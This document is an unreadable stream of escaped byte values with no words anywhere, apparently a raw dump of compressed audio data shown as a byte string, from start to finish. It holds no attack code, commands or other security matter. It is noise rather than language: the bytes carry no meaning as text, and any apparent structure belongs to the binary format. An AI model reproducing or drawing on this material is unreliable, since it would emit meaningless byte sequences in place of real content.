\xc7\xf9\x88\\\xff\xf3d\xc4!\x1c\xbc.\xd6\xcc\xc1\x8a\xb5\xda\x05M\xc3\x83\x7f\xd9?Tq#\x16@\x99\x13P\xc0\x91SON=D\x08q\x00Z\x8d\xcd\xd1\xf9H\x9a\xd0\xce\xc3\n\xa3\xce\x8bCK\xca\xeaY\r\xb3\xff\xff\xeaj\x16\xec\xafv\xe4\xfe\x89M\xd6\x95M9\x7f\xff\xff\xff\xff\xff\xfd?\xeb\xa9\x9d\xe7k)\xc8<p\xd4H\x91\xb5Wi\xd4\x0csl4\xfd=M\xbb*\xbd\xe2Mv\xd6l9v\xac\xc7\x90\xfc\xc4\x0c\'\xf4\xf0\xdc\xc6\xb6T\xcf\xc5\x86#\x08%\x87\x016\xe8\'\x9f\\y\xff\xf3d\xc41\x1ca\x96\xea\xfe\xc0\xca\xecU\xdfh\x85k\x9fC\x9d\xc3\xe0T9C\xae\x88o\x9a\xa5\xfa\x96\xd2\xe2\x80\xc0\x90\xf9Z;\xcb?\xe5(.\xc2\xc2#\x03\xa3CEbB\xa2@Zi\xea0\x19>\xeb\xef\xff\xff\xfe\x95n]\xa3\xc6\x81F\x82\xa2\x1a\xe3\xa8\x10\xe6\xe0\xd6\xe8\x1f\x1b\x91\xf4F`n\xa3Y\xa1\x11\x99\xcc\xc7\x8d%\x1e]{{\xba\x80\x96\xde\x9f<\xe20!\xdeD\x8c_c\xa4\x9e\xb7$\x85\xb9\xc1C<b\x0b\xab)-7JL\x14\xe7\nfs\xee\xd4)\xff\xf3d\xc4B\x1c\xdc\x1a\xd5\xf6\xc1\x84\xed\xbc\xff)fUsY\xd2\xed\xff\xff\xff\xde\xb7w5\xd5\xec\xdd[\xfe\x871\xdfuz\xd9\xbb#\xff\xff\xff\xff\xff\xfe\xcf\xd1o\x96g\xa5K\x9d]\xdc\xca=s\xfb\x15\xe1\x88F\x80K\xba]]\xbck\xc3X\t\xa1g\x12h(\x91X#\xf9x\x86\x08\x03:\xd2\x10\x12\x0eV\xf5\x80\xe6\x0e\xadZ2\x8bw\xaa\xba)\xb3J\x8d\xe9\x96\\\xdd\x1d\xad\xbfS\xa9\x9e\x96v\x12$\x05\x1a\xdd\xd4\xac\xec\xb4w\xd7\x85:\n\x8a\x92<U\xbf\xfb\xc1\x90\xff\xf3d\xc4Q\x1c\x11\x8a\xd6>{\x04|\x01\xb1\x11\x16\n\x11i\xb55B\xe7E\x8e\x07@\xcfr\xbf\xf3K\xff\xea\xd1\xb6\x8e\xa4\xd2\x146&\x87U\x82DC\x0ed\xa6\xf9c\x95+\xa4"\xc4\x83\x90\xed\x9c\xa2(\x9a\xdfw\xb6/\xaa\xb3\x8f\x053\xa6\x9e\xee5\xe7;\x9ej \xb3(\xb9C\xbbn\xb2\xa5\xc8\x9e\x13\x92\xdf\x13Bd\xd2\x97\xb2\x97\x83\x12U4\xc0O\xe8d\xdc\xa6\x97\xa3JP"\x89\xbdC0E\xff\xed"\xbeX\x1a]*,\xa9!\xc1\xd9c\xce\xff\xd4\xf7~-\x0e\xff\xf3d\xc4c\x1c\xf1\xae\xb9\x1e\xd1\x84\xec\x96:T$\rzCB#J<"$\x1d\x96X\x95\x80\x00K\xf1;wN[Ev\xa5\xbaC\r\xa2\x05~@\xbd\xaa\xe0d\x8a\xab\xfc.V@\xf7\x8f\x05\xeb\xc0u\xb9\xe9\xee\x94\xc2\xfe3\xef\x95\xcc\xb4\xa5a\x1d\xca\xf9\xeb\xf1\x91\x17\x8c\xc1(F\xf7jH\xa5\xd7\x8f6V\xa1\x95\xa7\xff[\xb5\xfe\xf8\x8a\xae\x86\x16\xc7:\x9a,\x88\xf5#/W\xfeIIJ+\xc1@!\xd2\x95t\xa4\xe1\x1f\xd1\xd8__F\xed\xd5/\xb8\xad\xbd\xca\x97\xff\xf3d\xc4r\x1c\xf9\xba\xa6^\xdb\xd0\\cP\x11<\x90vj\xe4\xb8\xfcN4\xd8Gc\x0c\xc0\xd5\xde\xa5\xf8\xc2\xab\xa7E\x8f\xd6\xa5\x02 j^o\x19*\xb6@\xff\xf9\xc6\xe3)\xaf\x17\xd4(\xcd\xec\x02%c\x86\x8a\xd4\x9c\xdf\xf6\xd3\xe4\x17\xffB\x10Pu\xf1>s,\x1f\x12\x14P"\x7fZ\xe1\xa8h\xbb\xd8\xfb\x16\xd2\x8a8\xa8\\@XG\x95\x105@t\x03!\xc3/\x7f\xb1$\xdd\'\xff\xf2HY\xf5:\xa0\x1a\x12R\xb4\t\xc9\x88\xaa\x00`\xf9;+JO\xf9mt\xef\xff\xf3d\xc4\x81\x1dQ.\xa1\x1e\xd9G\x00\x04\xe46"\x994\x83\xb6\xdcW\x16\x97\xb6\xe5\xf9Bjw\xfft\xd7\xfcx\xa0\'\x14\x88\x95VDg)\xda\xb3JF\xdeJ{\xfeM\x91\xacj~\x89\xef\xdc\xe1\xd0\xe4\x92\xc8B\x10\x84\xd1\xbf\xef\xbb\xffmj\xff\xdb\xa5\xc8B7\xdb\xff\xff\xd0\x8d\xde\xec\xa9D\x98;\xa3\xff\xfd\xf9\x19N\xa8I\xccB)\x15\x08\xca\xec\xa4)\xec\xabC\x8f]\xf1*2\xb6z=]j\xc7Z\xadH#1\xaezw\xd0\t\x88d\xc1X\x9c\xfa\x86\xce\xb9\x00\xff\xf3d\xc4\x8e\x1c\x84\x1e\xa9\x9fZ\x10\x01p\x06\xf5\n\xe4\x15\xa70\xb4*\xc9\x81#UCE!\x87\xe1HX\x02\xfca\x06\xc8\x8c\xb9\xb8k\x10\x19\x1d5%\x1a\x9a\xcew5?\xa3\xe9\xd7\x94\x0c\x8b\n\xc6\x080\xe7mV2+X\xda%jc\x8e\xe15\x14\x11m\x86\xf79\x9de\x92&\xed&\xe2\xeb\x1b\x8f\x1e$\x1c=\x7f\x19\xfa\xb2Hl\x88\x86\x18\x0e[\xc5i\x17\x1a\xce\xb5|\x7f\xbdgZ\xf5H\xc6p\x96\x90%d{\x9d\xb2\x7f\xf5\x7fK\xe6\x99\xcd=3\xf7\x9fKW\x15\xff\xf3d\xc4\x9f5C\xe2\xe2_\x8fx\x03\xde1\xaao6\xd7\xbe\xe9\xfdo\x8dI\xa8\xbb\xf9\xfa\xdf\xcf\xd7\xfe\xd03\x8f\xf1\x12\xf2k\x7f_\xea\xb6\xae\xff\xcf\x9e\xf4\xcc\x1cC\xad/\x0e\x9f?\xc5\x81PQ\xef\x0b\xd5\x9a\xfa\xe5\xa2\x00\x12\x8e\xe8\xd7\xec\xc4\x00p\\\xdbC\xa2Tt\xc6\xec\xb2\xff\xb2\xec\x19\x1d\x1f\xeeg\\q\x82\x85\x0e\x06\x87\x94\xa2\x8bB F"\xa3)\xd5^%\x14\xdb:\xa7]\nuFS\xde\x8dZ\x19\x9e\x8a\xff\x9e\x11X\xb3\xd6\xabN\xbb~\xfc\xd6oU\xd7\xfb\xff\xf3d\xc4M\x1d[\xd6\xce\xf5\xcc\x10\x01V\xe6E\x93tO\xccT\xba\xba\x92\xce\xda1\x16\xa9\xff\xd5*\x8a\xea\xa4g\xbdWk\xee\xfb\xb3\xb5B\x9a\xaa\x83;\x07~\xac5\xff\xb5xv\x94\xd2\xd9_\xc5\x04\x99\xa6\x8c\xa9\xf2\xf0\x9fW\xa7\x88a\xa5\x08\x92\xaa\xdcd\x0f\x1b\xa7\x05M$\xab\x84 \xd4|\xc1\x83O4+m\x1d%;\x00\xe4E\xce#\x14\n\x04%\x9c\x98\xaeNb\xa0\xa4}A\x8bQr\x11C\x86k]\x8d":\x10!C(\x84\x1c\r\x8d\xf6\xce\xff\xff\xe6*\x15\x1e\xff\xf3d\xc4Z\x1cz.\xda\xf6\xd2D\xcc\xcc\x89\xff\xff\xec\xebP\xc1\xaan\xda\xdae"\xe2w\xda\xdf\xdb\xff\xff\xfe\xb6Tr\xb2\xa9\x8a.\xbf\xcf\xee\xb7\x07\xa4\xec\x1d\x1e\x03\x1b\x95\xd0\x01\x9f\x91\x00\x81\xa3\xc1`\x81\xca[g\xd6G!T\xee\xa9\x9a\x10\x02\xeb3\x88\xd6\x8cU.\xd3[\x04\x05\x0e$F0\x8a\xefM\xb4\xbf \xecD\x82\xc3\xa0R\x05UO\xa5\x1b3\xbf\x7f\xfd\x08\x91\x19A\x82K\n\xbas\xfdS\xef+h\xe7\xa6\xd8\x99\xcat\x9b\xf1\xa1\xb0\xffwW\xff\xb9\xcc\xcei\xff\xf3d\xc4k\x1ci\xa2\xd24\xd2F\xc8\xb9k\xa9\x0b\x03\x9e]\x81\x00\x04\xa7\xc5\x1c\xb5\x8c\xd5P\xb8\xd7\xed4u\xf4C\x93\xadf\xbdp\xcb\xba\xb6\xee\xc5\x14\x94\xbb\xe8\x19\xc3\xf5?\x84\x08s\xf0&\xb9aO\xe0\x8f\xc8\x14)\xce\x0e\xc3b\xb6\xfc\\Rm\x048\xecm\x8e\x15%\xfe\xbe\xda]\x93\xe2!\xa7\xaa\x98z\x0cjj\xf4nw\xa2\xbf\xfe\xfa:!\xbd\xf6V\xbf\xb7wJ\x94\x8e\xa8\xc65N:i\x1eboR?\x93\xb7\xff\xff\xf5_\xeaVr!\xaa\xfd\xd0\x9b\x1c\xca\xc2\xff\xf3d\xc4| \\\x06\xce\x16\xc2\n\xf9#\xccjMz\xaa\x0e\xab\xde\xdd\x97\x9aG\xb1|+B\xc9\xc5\x9c\xc6Tb\x18\x0f\x1a\x9e\xdbX3\xdaWU0OG\xe6sT\x01\xa7ZV%\xa3\xde\x91\x16\xce\x8en\xe5\xc7\x80j\xa7\xdc06\\\xed\xce-\xf9DS\xd2\xd6\x1f\xf3\x03\x15\'\xd0\x99\xee\xbf,[\xebu\xa1\xfd\xca\xd3\x0b\x01\x04:\x9cDy\xd2\xc0\x92\x02\xe0\x88\x11\x9c\xb5z\xa1#dA\x901\x83\xe3h\x11(\x0cH\xc8\x88*\x05\x14:A\x93\xbb?\xd7\x87\x95\xf4\xaa=\xff\xf3d\xc4}!Q\x9e\xb8\x0c\xcb\x04\xf4C\xa2p0\x85\x05\x1bJjB\x03\x0e6\x1fs\xa90\x17tc\xb7PF]\x99\xa8\xab\xa6ad\r\x8e\xa2E\xd1\x8a\xff\x19\xf5\xfe\xf7b\xb6v\x1c\r*I\xb5\x15\x0f\xb8X\x9e\xa0H}g\xf5;f*a\xb4A\x9f\xaak\xef\xee\x9bL\xe4*\xaf\xec\xcawh\x85*\x11NF$\xee\x8cwG%\xec\xb4\xd1\xfd\xf7/\x7f[]\xba\xab2:?N\x9f\xff\xff\xff\xff\xfd\xbd\x13\xee\x99h\xccp\xc5Vap\x83o\x039[\xc1l/\xe0\xff\xf3d\xc4z\x1c\xc4\x1e\xc9n\xc1\xc4\xec\x01I+\x11\x9a\t\x92\xdc\x96V\x89(FU;\xd3Z\x8a5y\x0c\xf0\xa6\xd0\xc62T\xbf\x9al(\x94\x0cb\x94\xb9[\xf2\x95\x96Y\xb4\xffO\xcc\xbbU^z\xa7\xcf0\x93\xcbS\x8d"\x8d$X\xd4\xa9\x14\xcd\x9a\x14E\x05\xd2VD\xaau\x1c{\x81\xc7\xa6-\x88\xc2\xad\x153x\x9a\x88\xf3\x96\n\x90\xf4}\x8c6\xcf\xa3\xfe;s\xd9{\xaa\xeag\xf3\xb2\x1b\xcd\xa2\xee\xdf\xff\xff\xd8\xee\xaa\xa7A\x049\xe7\xfc\xc6\x0br\x9f\xd7\xfeV\x9f\xff\xf3d\xc4\x8a\x1bRB\xc0Dx\x8c\xdchh\x8ej\xf9WY<\xf59^\xdc\xb1\x03\r\xa0F\x83\x90 \x8f\xc7N\xa0\xa8&\x88\x10d(e&\x05\x0e\xb0\xbb\xe0\x9b\xd4\xbdM\xb8A\x02|W/\x93\x83-\n-w\xedj=\x95d\xe1y\xbf*\xe1:\xaf\xfd\xee=\xce\x02\x85A\xc3\xefT?j\xd4\xe0~\x9d\xe8z\xa8g\x87Yh\x9aV\xb8\x0b\x93Q\xf2L$\xf2g\x1b\x98\xcf\x17\x1e\xe8,\xf7\x9c\x8c\x81\x9a\xd5\xc3\x83Mjg\xfa\xdc\xa3CB\x11\xfe{\x94\xc2D\x12\xba/\xff\xf3d\xc4\x9f\x1c\x03f\xcc\x00\x10S\x88\xd8\xfd\n\xe4e\xff\xa6\xdc\xde\xabK\xcd\xd2\xb4cY?@\xc8\xd0H\x0632\xca\r\xac\\\xcfR\xe6\xf5/\xbe\x8f\x99\xfb\xa9\x143\xa4\x9f\xd5\xf7C(\xd6\xd6\xe7-\xa5\xac*\xa9\xb2\n\nZ/EDa\x87z\x88[\x1b\x84\x17\x7f\xeb\xc9A\xa76\x9c"\xef\xfd\xa2k\x80\x90\xa7:#\xc6\x10\x0b\xb4\xdd]\xa3\xe4\xc3\xba\x1e\xd1\x99\xca]\x17\x8ed\xa2"\xa2\x11\xa4\xf7\x17\x1e`\x90\xb8\x8a*\x1d\n\xd7fm+\xd0sJ\xef\xd3\xff\xed\xe8\xff\xf3d\xc4\xb2\x1a\xab\x82\xe3\x14\t\x84\x18o*Y\r\xffK\x98H\xdb\x94\x85c>g\xed_\xfe\xdf\xffN\xed\xaa\'\xff\xca\xbf+,\xd3:\xe5\x0e\xba\xf5yB\x99:\x17\xf15\xb4\x13\x83\xa5\x87fE\x1c\x86\xef~\xec\xa4\t\x04\xc04\x07b0B\x04\x86\x88\x01\x99RM\xaa<>\xb0X,\xeda\xa1\x08\xef\'X\x1f\x1aU\x06\xa43\x15\xf97q&\xf7\xe0\xc5\x9aS\x03v\x06\x00~P\x83a\x82\xabd&\x80\xfeD\x98H\xf6T\x7fU}\xff\xfeg\xfd?\xf5o\xfc\xd47\xed\xff\xf3d\xc4\xca\x1c;\xc6\xdf\x1e\xc1\x8aYB\xb7\xf2\xdb\xaf\xffn\x8e\xe8\xdf\xff\xc8\xfb\xfd\xba\x8c\xe0$\x07L\xd9\xc8\x15{\x8d\xd5@\x8aY\xa6\x0c.7-\xe534 \x02O\xf5\x01\x91\x17\xc5\x00\x87\x00l\x85\x9e@\xadm\x99\xdb\xf7\xfe\x1b\x11\x80\x91Y\xff\xac\xb7i)%\r%\xc2\xcfP\xaaK\xe1L\xf39a\x83\x7fa\xed\xef%\x9e|\xbdP<\x84$\xa0\xf1_\x00\x8e1\xf4\x12.\xafqMp\xa2\xdf0lZ\xe6D\t\xff\x9fUn\xa2\x1b\x06\xa9\xca]J\xed\xfdX\xd4\xf5\xff\xf3d\xc4\xdc\x1c\x8b\xbe\xc7\x16\xd3\x04\x88/\xf9\x8c\x96\xaa\x9f\xf4+\x99\xcc\xf4\x7f\xff\xca\xacW\x89\xff\r\x9d\xb6I\xec~\xc1\xc4\x94<a\xe5\x00*TI%5C\x8a3\x10\xd18\x01U*D\x97\xd5\x0f\x8c\xe9`\xe1\xd2\x9a\xeeK\xb0\xcb\x9ca\x83\xa5EYV\x85T]d\xd0\xe5B\x95\x97\x96\xea\xa8P\xeb;\xff\x92(ziXSR\xd5\xc1\x10\x02\x00@\xc9S\xdc*F%\xfc,\x16o=\x1dp\xaa\xd8\x08\x97haDz\x8d\x96\xc4\xa1\xa0hEP4{\xf2>\xa7\xd60\xff\xf3d\xc4\xec!\xa3F\xaen\xd2\xc5\x14\xf5\x02^V\x06\x7f\xd1w\xfa\xc3]O\xad\xc1\xdeZBW\xd40\x07\xd5Yl\xa8\xe2\xaf\x8d\xedM\x86L\x00\x0bF\xa5*\xdc\xd7\x1fhzB\xd8\x96\x84\x0b/\x96\xdc\xd5X\x86\x1d\xa5\xafg4H\xf2\x0e\x9d\xfd\x16\x1f&\xe1\xb4Z\xfb9\x10p\x80\xde`\xe2\xabBa)\xa1(\x92\xd7\xcar\'\x0e\xff\xef\xf6\xd5s\xf1\xaas\xf7|\xff\xb6\xb52Jd\x15\xe5\x05\xd2c\xbfP\xe1\x00 \xe3\xe5\xc7\xde\'\x0f\x85\xd4\x18"\xb6(\x81\x8e\xb8\xa7\xff\xf3d\xc4\xe8\x1d\xf9\x8e\x95\xa6\xd2D\xbc\x16#\xe8\xdc\xf7\x7f\xb5>\xdfmmT\xa3\x99\xdc\xdcF!\x10\x88Fc!\x9c\xf4\xa6\x06o\x0c\xcd\xa8\xa1\x03G\x07P\xeaX\xd3]l\x15\xc4\xa6\xd7\x0bz\xa2\x10\xc4\tB\xd2a\xa5\xd5\xa0\xf8E\xc0fX4I\xb8T\x0e\x83\x8c\xba\x97\x15b\xa2>\xd5P\xd4d\x80#\x04\xb8\\\x07\xe31\x94u\x9b\xa5\xea\x15\xae\x90YvW\x818\x05\x82\xe4\x06@\x82#\r\x06\xee\xa0\\<p\x8f\x9c^!n,\x11 \x10E\x82P\xd6\xf3\x0f~.\xff\xf3d\xc4\xf3\x1ei\xbah5Y0\x00\xc7;\x94O\xfcFA48\x0fDb\x8c\x96::\xccL\xc2\xd3\xec\xbfUBw\x0e\xd8\xd6\xf5\xbaMm\xd0\xbf\xa3\xcb\x01\xde^\xdd<W\xa1\xa4\xedmP\xd5\x1654\xf2l\xdd\xfb:\xa3\xe3\x17\xb7\xd67\x7f\x9f\xffosC\xe3\xb9\xbdg\xa5\xb3\xb78\x11 \x1c\x9b\x82\xe7\x0e\xfb\xa6?\xf8\xc6>\x7f\xff\xff\xff\xff\xff\xff\xff\xf4!\xa9\x92\xf4Vf\x1d\xa2<\x96<\x93?e\x9e\x8f!\xe3u\xce\xf5\x00\x01B\x9c\x00z\xd4\xaa\x89\x96\xabl\xff\xf3d\xc4\xfc=\xcb\xfa\xba_\x98x\x03\x00T\x12!K\x96\x97\x9b\xd6is\r1\x90\x80>H\xd0\x10A\xb5\x18[5T\xb7*\xc7]\xbbcR6\x87$\\x\xf9o\xb0\x12\x87p\xed\x81F\xc3\xc0\xf0;\x0b\x138dN@\xfa\xa6kh\x12J\x0eS\xd9\'N^\x93\xe5\x07\x93\x87r\xafy\xfe\xff\xfc\xfbsc\xa3\xd1\xb9\x92)\x1f7?D\x84\xa9=\x87\xe0\xd1\x93\xc3\x18n\xab\xab\xff\xe6\xca\xd7\x97\xeel,\xefr\x955\x7f\xff\xff\xff\xff\xff\xd7\xf7_\xfb\xe5\xdf\xf3.\xe4\xfb\xff\xf3d\xc4\x87*D:\xbeG\xc9X\x009el\x976\x0e\xde\xed\xae\x9f\x8ba\xd7\x9d\'#/i9\xff\xc3\x93Ycs\xef\xd06FK87\xf3z.\x08\x94\xf1@6\xa6\xcf7A\x0e\xa7-\xe7Hn\xbd\xcbM!\x967\xb9\\\xa9<\xbc\xf6\x0e\xd6D\xd3\xa1\x88\xef.\x1f|Q\xa6\xbd\r{)\x10\xcf\x85(\x01\xd4k\xee\xe7\x10\xc2C\xc5\x14\x04\x82dJ\x8a0Z\xbc\xecqB\x8e\xffc\xe6"\xb6Z\xb2\xa1\xda\x18\xa0\xf3;\x95\x91V\xad\xeb1T\xa5}\x0b\xe5\xfe\x9f\xfe\xff\xf3d\xc4a \x13\xd2\xc2L\xc9\x84\x91\xd8C\xb3\x1d\xcfo\xa7\xb6\x95UdT\xb3\xa5;\x95\xfe\x8db\xa3\xb4\'\x03\xb8\x11\x1687\xf3\xff\t* \x90rb8\xc2\xcb\xb3\xca\x1e\x0b\x81\x18EA\xa2\xe9\x19y\xebF\xb6: c\x00\xa1\xc0\x8d\xbc\xa35\xf6\xc5\xec\xeaU\x1a\x0b\x7f\xec\xd16\xffge\xb7\x18\xa0\x87\xa9\xd3\xd0\xddn\xe7\xff\x15\xfeH\x11\x8a\xdek&\xdc\x0c\xae\x84+\xa9i(\xf1!\x82\x1f\xa7.tF\xe6\xe0\xb3\xd8*\x89\x19QE7\xb0\x16\x85\xb7\x06\x93\x89\xa6\xff\xf3d\xc4c%\\\x06\xae\xe4\xdaD\xdc\xa5-I\xe5L\xab\xca\x94R\xb8\xcf1\xbf\xf9O\xdd:\xb3\xcf\x04\xb7\xa1u\xfdr!\x8cC\x9dD\xbe\xaa\xd9\x18\xe9\xd3V\xff\xe4[\t\x10CX\xca8\t`1\x1du@\x10\x84\x9a\xab\x98\x0fV\xdeyR\xdc\x82O\xa9&,\xf5\x9a\xb4c\xdb\x059\x86\xd1\xe9\x12c\x1f\xac7\x94+\x90\x1a\xa3\x01\xde-:\xf9\x84t\xc0\xbc\x91j\xdf\xafH\x07"\xcf\xf9[c\x93\xc8\x06y\xd4x\xe9$\x00\xa7\xa9[\x90\xa5\xed2#\n\x89,\xa08\xa9\xff\xf3d\xc4P\x1f\xfc\x06\xc7\x16\xc3\xca\x94\':.\xa7\xbf)[G\xd5\xbf\xf5;\x97!n\x84!H\x8d\xff\xfe\xfd\xf58\x98\xac]^c>\xff\xfb\xf2\x0b\x89\x1b\x93\xf9u\xff\xff\xbfTW:;G\xd2\x90P\x96x\xaal\x0fi,\x0f\x94;\xf2\x82t\xaaY\x1d\x8b\xac\xfc\x88K\x15\xee\x8a?\xedz\xfd-\x8a\x07\xa6\xc3\xb8\x11\x11hy\xa0\xe3^!\xb8\xcb\xd3!\xbd\xee=2\xea\xbeY\xb7D\xb8A\xac\xac\x865?\xff\xe6gG\xe13\x12r\xca\xac\xff\xff\xff\xff\xa1\x08\x949\xd9\xff\xf3d\xc4S\x1c\xa3\xfa\xd3\x16\xc2\n\xbd\x1d\xceuD\xff\xfe\xfe\xcf\xa9\xca\xe3\x12\x8cE\xdf\xfet3\xdc\xa4\xff\xf5z\xdf\xff\xff\xdc\xe8\xa2i8\xdaPp\x96\x99\x98H\x18w-\xfd\xdc\xba\xd5\x11\x1dw+kg\x82\x00\x86\x912\xf9\xa6\xc4\xe2\xd0\xf2V\xf4\x02\x01C\x94bP\xdd\xe2\xd4\xfd\x8f\xc6\xda\xfdw\x08\x82\xdd\xe7\x08\xb7y\xf1/\t\x93h\x88D\x15\xd9j\xc3\x05\x160\xde\xae\x8d\xdbj.\xec\xa8B7\xff\xff\xff\xffd:\x11L\xc2\xcaWv\x8fn\x95\x9f\x0b<\xd2T\xae\xff\xf3d\xc4c\x1b\xc2V\xdb\x16\xc0\xc5\x10\xb5Z=6\xfb]\xff\x8a\x8f\x06\xc8\x17B\x01\xe5\xd5\x90\x02\x11)\xdf\xc7\xab\xe1\x12\xab\xb8LLDe;\x9c\xce\x81r\x15\x8a! X@\xb6\x96\x1ev\xbbFa\xaf\xed\xda\x0e\x02\xc8\xf3L\xd5\xadU\x110\xcd\xdcX\x0c\xa9}z\xc7&\x9a\xdep\x0c\xec\x94\x0c\x03|\x83Nr\xd8\xa9u\x1e\xfa\xd7\x85\x89\x1b\xb7\xff\xfc\x95\xa4%\n\x03\xb2\x12\xfe\xa95\xa1\xaet%\xd9\xe8\x1a\xd4z\xff\xff\tN\x9cAw\xd5`\x01Z\x90\xc4\x12\xad\x85<\xff\xf3d\xc4w\x1bI6\xd6v\xc3\x0c\xe4\xa0\x96\x90\xf5y\x88\r,\xa3Y\xdfd\x03KE\x86\xd8\xb7\x05\xa7\xdf3v\xdb\xec+\xf4!8\xaf#\x99\xec\xe4\xb4\xb3\xc8o\xa5\x12\xde\xc2Y\xf1\xc3\xd7j\xacz\xf1\xa7\xee\x9eQW\x9a]\xff3?\xdd\x1f\xecdJ:\x7f\xe9|\xf7\xd9?\xdb\xef\xd3\xa9:\xb6~\xa9\xff\xa5\x1du\xff\xff\xff\x97{\xdb\xd1V\xad##7\xf6\xff\xff.V\xc1\xd7eU\xd1\x05\xa8\x00\xa4I+\xd2\x1a@\x12n\x1eQ\xf6qk+\xe3\x19\x1d\x95\xd9\xaeeG\xff\xf3d\xc4\x8c\x1cT"\xce.\xc1\x84\xf5\xb2\xcb=\xe5E\xb3]\x84\x03\xbb\x1e=\x1b\xef\x95\'\x95\xcf\xa3{\xfb\xeea\x93[O\x9e3{\xdd)\xa2Sw\xbf\xf9\x00\xbes\xac\xef \x9b\x80D\x02&\xac\xacY\x13WzV\x8e\xb7Oo\xff\xdbu;{\xbfU_\xd5\x91#\x8a\x13[\xee_\xff\xe9\xf6\xb7\xb3\x8e\xf5(\xa9\xb3@\xd208 0\xb2@W\xb7guvV\x89V\xe5\x10I\x14\x1f\x05@\xc3\xd8\x05\xfeD\x19\xae\xbe\x91\x866\xd1\xacV\xcb\x85\x17\xe3+n\xc6\xc9\x87\xb6\xff\xf3d\xc4\x9d\x1b\xea\xc6\xe1\x9ey\x8a\xf6\xc7\x9c\x9f7\x90^[\x01\x9e\xa8\x07\xb9\x9a\xb9\xd1\x11\x04Px(\t\'xp\xfagm\xe9\xf0PC\x16@G3\xd9\xd0\xe7[\xf9\x14\x92\xaa\xbd\x9e\x87\x9bX\x80\x8d\x8c\xff\xfdWn\x8f\xe3Sj\x12\xa2K=(\xb4U\x854L\x003\xd6&Z\xa7g\xa5\x06\xe5P\xb8F\x83\x1e\x99H\xf6K\x8d\neSb\x9c~{,\x05\x0bQ\xb0N\x8f\x96"\xd2\xba\x9b=\xf4\xc7\x04 (\x12\x98 \xa4p\xec\xf0E\x83E(!!\x80@PQ\xff\xf3d\xc4\xb0\x1b\x89\x9a\xde\xfe\xc1\x86\xec\x08\xa6\x9f\xd5\xa5W\xb4\xa8\x1c!\x08[\x11\xe9\xff\xff\x9c\xbe\xbb}-3\xe5*X\xdb\xad\x7f\xff\xd9\x11Xw\x02\x83D\x7f\xff\xff\xa1w0\xabC*A\xf0\x18\xf5\x03\x85U@J\x02\x80\x03\x9e\xbb-U\xe0\x14\x08v[\x00Mz\xae\x0cuf\xcd\x01k\x12\xae\xa5?_VRV\x84\xe3+D\x98\x03\x16\xa8<\x13\xc0\xbb\\}\xcb6\x1d\xa6z\xcc\x0bJ\xc3\x7f\xfc\xcf\xd3%\x9bE[J\xd9_\xfa<\xb2U\x0e\xacu,\xe6\x9dh-s\xff\xf3d\xc4\xc4\x1d\x12\xe2\xd6\x1e\xc3\x04\xa8|4*1\xc3Lz\xdf"\\:*\xcb\xbdls\x85\xc1\xd0Uh\xff\xff\xee\xbf\xc9I&\xb0\xbb\xc1\xd0(h\xa2\x08*\xc2g\n\xf28\xfb\x93\xf2\xa0\xd3\x9b\xc9Do\xc4\xc7O)\xc6i\x04\xac\x96\xc3\xa7\x16\xee\xa5\x91l\xa9\xe5\xdd\x06bz\xecA\x85\x1e#\xcc!\xd7"\xe9D\x9f\x7f\xfdX\xccl\x8f\x02\x12\xf3\x84\x7f\x0b\xac\xc4\xdaG\xb0X\xe1\xa2\x81\xde\xac\x85\xe4D\xfdGj\x82\x03\xc8S\x14]\xbf\xff\x92u6\xad\xff\xebM\xcc\xf5\xff\xf3d\xc4\xd2\x1c\xc9\x96\xd2>z\x0c\xf8 \x8d\x8e(l\x19V\x0f\xdd\xff\xff\xfba\x00\x80,\x07\x18\xa2\xa9{\xaa\x00\xe6\x9aeR\x0c8\xb5\x81k\x12\x8a\x02\xfaCL,\x03\xcf\x0c\x08\x80\x16\xdb)\x84\x95y\xab\xb3\x08T\x18)D\xb2\xc6*f\xdbD*!\x9d\xaba\xd5\xe06\x89\x8cT\xd9r\xe8\xe0>\xf9\xb3OL\xcc\xcc\x1f\xfb]\xb3\xa8~\xfa\xe3\x96Z\xbf\xcdX\x11\xd0\xaa\x95g\x0c\xe5h1=w\xf7\xfe\x8c)\xeaz\x8c\x18\xed\xff\xfer\xb0\x10\x92\x96\xbf\xfa\xf7\xbc\xadf\xff\xf3d\xc4\xe1\x1c\xd2\xee\xd9v\xc0\xca\xfa\x06\x85W+\xbfv2\xc2\x8e\xea\xf9?\xee\xdf\xff\xff\xff\xab\xd4\xceR\xf3)\x90(\x98\xa0\xd0\xad\x00\x90yS\x91iAy\xced\xd1Na\xe3\x08XS\x06B\xfb\x89\x0c\xb1T\xb60\x10@\xe0hu\xdaJ\xe9$\xa9\xf3\x7f\x9e":Jp\x95T\x8b\xbb\xcc\x95dP\x0f\x89d\x871\x16Ks\xdb\x90[IS}%C\x88\x8a\x89\x04@ 2\xceT{\x08\x8a\xd5\x8cQUiKQR\xf5{5\xaf\xffDz\x95\x05UC\xeaQ\xde\t\xff\xf3d\xc4\xf0"|6\xb0\x16\xcb\x04\xd8\xca\x98\x88\\=\xbf_`*%\x19\xe0bh\xa8\xc1\xac\xef\xff\xf1(dB\x1d\x05mX\x94\x90\x95\x04V\xcc\x1e\x99\xc0 I\xf2\x07\x85\x02\xc9I\xa2\xcaCL\xc4\xf2%\x02\t\x1b\x17\x83\xb64\x06\xab$R\xc5\x9d\xc6~\x97[\xc3u2x\x0c\x8b/b2@P*@:]wL\x98_\xf84\xdb\x08w\xad\x00\xa1\xa5w\x18}\x95\x9e\xcbS\x11QmJ\xbe\x83\x94hH\xac\xf79X\xef\xec\xacN\x8f\xf4\'\xeaQ\x92\xa8\xf84l\t\xff\xf3d\xc4\xe9 \xf2\x12\x98V\xdaJ\xd0\xde\x1bS\xc5(\xfd\x92\x14D\xb3}\x81\x12%\x01\xd9\xc3\xe1\xfa\xfd\x15(\xa8\xd7\x91i\x8a\x94\xd1H\xc7S\xa10\x01f2*\xe9\x0eb\x12\xe1\xae[ \xd00\xc0L\xc2\xd0\x14%\xb9C\x00\xc2a\xca\xaf\x96\x11\x02,\xd4L\xaaI\xf4\xff\x87\xb3\xb7=z\x85\x9e\xb1\t\x92\xb7AY\xa1\x0b\x89M\x95/\xec\x96^\xa5\xcb4\x9cmV\x0b;\x8fh\x83\x1a\xa4\x17 